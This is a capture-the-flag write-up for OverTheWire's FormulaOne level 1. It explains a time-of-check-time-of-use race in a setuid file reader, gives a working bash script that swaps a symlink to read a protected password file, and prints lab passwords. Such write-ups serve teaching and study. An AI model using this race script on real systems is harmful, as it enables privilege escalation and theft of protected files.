Spoiler alert: This post contains spoilers for overthewire's FormulaOne game. If you would like to solve this challenge on your own, then don't read ahead.
Background
This is the second part in a series of posts on overthewire's FormulaOne game. If you'd like to read part one, you can do so here.
Goal
We currently have the password for user formulaone0
. We will need an exploit that will allow us to read the password for user formulaone1
.
Setup
ssh formulaone0@formulaone.labs.overthewire.org -p 2232
Enter the password when prompted. At the time of this writing, it was: 2w9lMSElHLSu6PigGsugLYdKiLV9BH84
Analyzing the Code
Conveniently, all the data for the levels can be found in the same folder on the overthewire server:


formulaone1
is -rwsr-x---
. The "s" is a setuid bit - this means that the when the file is executed, it runs with the file owners permissions (formulaone1 user in this case). This is what will allow us to craft an exploit.
Since we are now logged in as user formulaone0
, we have read access to both the compiled and uncompiled formulaone1
c files. I won't print the compiled version since it's mostly unreadable. The comments below are added by me.
formulaone1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char **argv) {
// Return early if user does not have read permissions
if (access(argv[1], R_OK) < 0) return 1;
printf("Contents:\n");
// Evaluates to -1 if the user does not have read permissions
int f = open(argv[1], O_RDONLY);
// Return early if user does not have read permissions
if(f < 0) return 1;
char c;
// Reads the file, and writes to stdout, a single byte at a time
while (read(f,&c,1)) write(1,&c,1);
return 0;
}
This functions similar to a cat program
This program will print the contents of a target file to stdout, assuming that the user has read access to said file. Example usage:
./formulaone1 some_file.txt // prints the contents of some_file.txt
At first glance, it looks like the program is unnecessarily checking that the user has read permissions twice. However, there's a good reason for this, and it relates to how we can craft an exploit.
The compiled code has the permissions bit: -rwsr-x---. The "s" here stands for setuid. That means that when the program executes, it does so as the file owner (user formulaone1
in this case). But we are logged in as formulaone0
. When we execute this program, it will check if user formulaone0
has read access to the target file. If formulaone0
does not have read access, then the program returns early. So where's the exploit?
It turns out there's potential for a race condition here. The basic idea is this:
- Supply a target file that user
formulaone0
has read access to. - After the call to
access()
completes, and before the call toopen()
, swap out the target file for one that userformulaone1
has read access to. E.g., a password file.
This is what's known as a time-of-check-time-of-use (TOCTOU) vulnerability.
Symlink Swapping
Symbolic links (symlinks) are files that point to another file (or directory)
To create the exploit, we'll need to do the following:
- Create a new file that any user can read
touch /tmp/my_file
- Create a symlink to the file
ln -sf /tmp/my_file exploit_symlink
- Run the vulnerable program, with our symlink as the target
./formulaone1 exploit_symlink
- The final step is to swap where the symlink points to. The timing for this needs to be just right, since we need to swap the symlink after the call to
access()
, but before the call toopen()
. To get the timing right, we can experiment with microsecond sleeps.
ln -sf /etc/formulaone_pass/formulaone1 exploit_symlink
Here is the final, working bash script:
#!/bin/bash
SYMLINK="/tmp/exploit_symlink"
TARGET="/etc/formulaone_pass/formulaone1"
MY_FILE="/tmp/my_file"
VULNERABLE="/formulaone/formulaone1"
OUTPUT="exploit_output.txt"
echo "Tony is ticklish" > $MY_FILE
// Swap the symlinks
fast_swap() {
while true; do
ln -sf $MY_FILE $SYMLINK
ln -sf $TARGET $SYMLINK
sleep 0.0005
done
}
// Redirect the vulnerable programs output
// If the program outputs an alphanumeric string of at least 12 characters,
// then the password has been found
hall_monitor() {
while true; do
$VULNERABLE $SYMLINK > $OUTPUT
PASSWORD=$(grep -oE '\b[a-zA-Z0-9]{12,}\b' $OUTPUT)
if [[ ! -z "$PASSWORD" ]]; then
echo "Password found: $PASSWORD"
cat $OUTPUT
exit 0
fi
done
}
fast_swap &
hall_monitor
Quickly swap the symlink, until the vulnerable program leaks the password
This should print the password in less than 5 seconds. In my testing, it never took longer than 1-2 seconds.


WUJPXwIoiBhedmDZceQ5DAUMq0JeI0eU